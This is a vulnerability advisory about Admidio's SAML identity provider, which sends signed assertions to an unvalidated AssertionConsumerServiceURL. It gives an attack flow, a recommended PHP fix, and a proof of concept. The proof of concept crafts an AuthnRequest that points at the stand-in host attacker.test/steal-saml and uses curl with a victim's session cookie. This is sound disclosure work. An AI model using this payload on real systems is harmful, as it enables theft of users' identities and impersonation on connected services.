Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest

Even when signatures ARE validated, the ACS URL should still be checked against the registered value, because:

• Signature validation proves the request came from the SP, not that the ACS URL is authorized
• If the SP's signing key is compromised, the ACS URL becomes the last line of defense
• This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1

The same pattern exists in the error response path at lines 323-326:

} elseif (method_exists($request, 'getAssertionConsumerServiceURL')) {
    $response->setDestination($request->getAssertionConsumerServiceURL());
} else {
    $response->setDestination($client->getValue('smc_acs_url'));
}

Attack flow:

1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP's public metadata)
2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled AssertionConsumerServiceURL
3. Attacker sends this AuthnRequest to Admidio's SSO endpoint (via redirect or auto-submitting form)
4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user's identity and attributes
5. The SAML response is POST-binding-sent to the attacker's URL via an auto-submitting HTML form rendered in the victim's browser
6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields
7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)

PoC

# Step 1: Generate a malicious SAML AuthnRequest
# This is a base64-encoded SAML AuthnRequest with:
#   - Issuer = the known Entity ID of a registered SP
#   - AssertionConsumerServiceURL = attacker's server

# Example AuthnRequest XML (before base64 encoding):
# <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
#   xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
#   ID="_test123"
#   Version="2.0"
#   IssueInstant="2026-03-17T00:00:00Z"
#   AssertionConsumerServiceURL="https://attacker.test/steal-saml"
#   ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
#   <saml:Issuer>https://legitimate-sp.test/metadata</saml:Issuer>
# </samlp:AuthnRequest>

SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)

# Step 2: Send via HTTP-POST binding to Admidio's SSO endpoint
# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)
curl -X POST "https://TARGET/modules/sso/index.php/saml/sso" \
  -d "SAMLRequest=$SAML_REQUEST" \
  -b "ADMIDIO_SESSION=victim_session_cookie"

# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form
# that POSTs the signed SAML Response to https://attacker.test/steal-saml
# The response contains: user login name, email, full name, roles, and any other
# profile fields configured in the SP's field mapping

# Step 4: Attacker receives the signed SAML assertion and can replay it
# to the legitimate SP to authenticate as the victim

Impact

• User Identity Theft: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.
• Information Disclosure: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP's field mapping) is exfiltrated.
• Scope Change (S:C): The IdP vulnerability directly enables impersonation on separate Service Provider applications.
• No Signature Required: When smc_require_auth_signed is not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP's Entity ID.

Recommended Fix

Validate the AssertionConsumerServiceURL from the AuthnRequest against the registered smc_acs_url before using it. In src/SSO/Service/SAMLService.php, add validation after loading the client:

// After line 439: $clientACS = $request->getAssertionConsumerServiceURL();

// Validate ACS URL against registered client configuration
$registeredACS = $client->getValue('smc_acs_url');
if (!empty($clientACS) && $clientACS !== $registeredACS) {
    throw new Exception(
        'The AssertionConsumerServiceURL in the AuthnRequest ("' . $clientACS . '") ' .
        'does not match the registered ACS URL for this client. ' .
        'Possible assertion theft attempt.'
    );
}

// If no ACS URL in request, fall back to the registered one
if (empty($clientACS)) {
    $clientACS = $registeredACS;
}

Also apply the same validation in the errorResponse() method at line 323-326:

// Replace lines 323-326 with:
if ($request instanceof LogoutRequest) {
    $response->setDestination($client->getValue('smc_slo_url'));
} else {
    // Always use the registered ACS URL, never the request's ACS URL
    $response->setDestination($client->getValue('smc_acs_url'));
}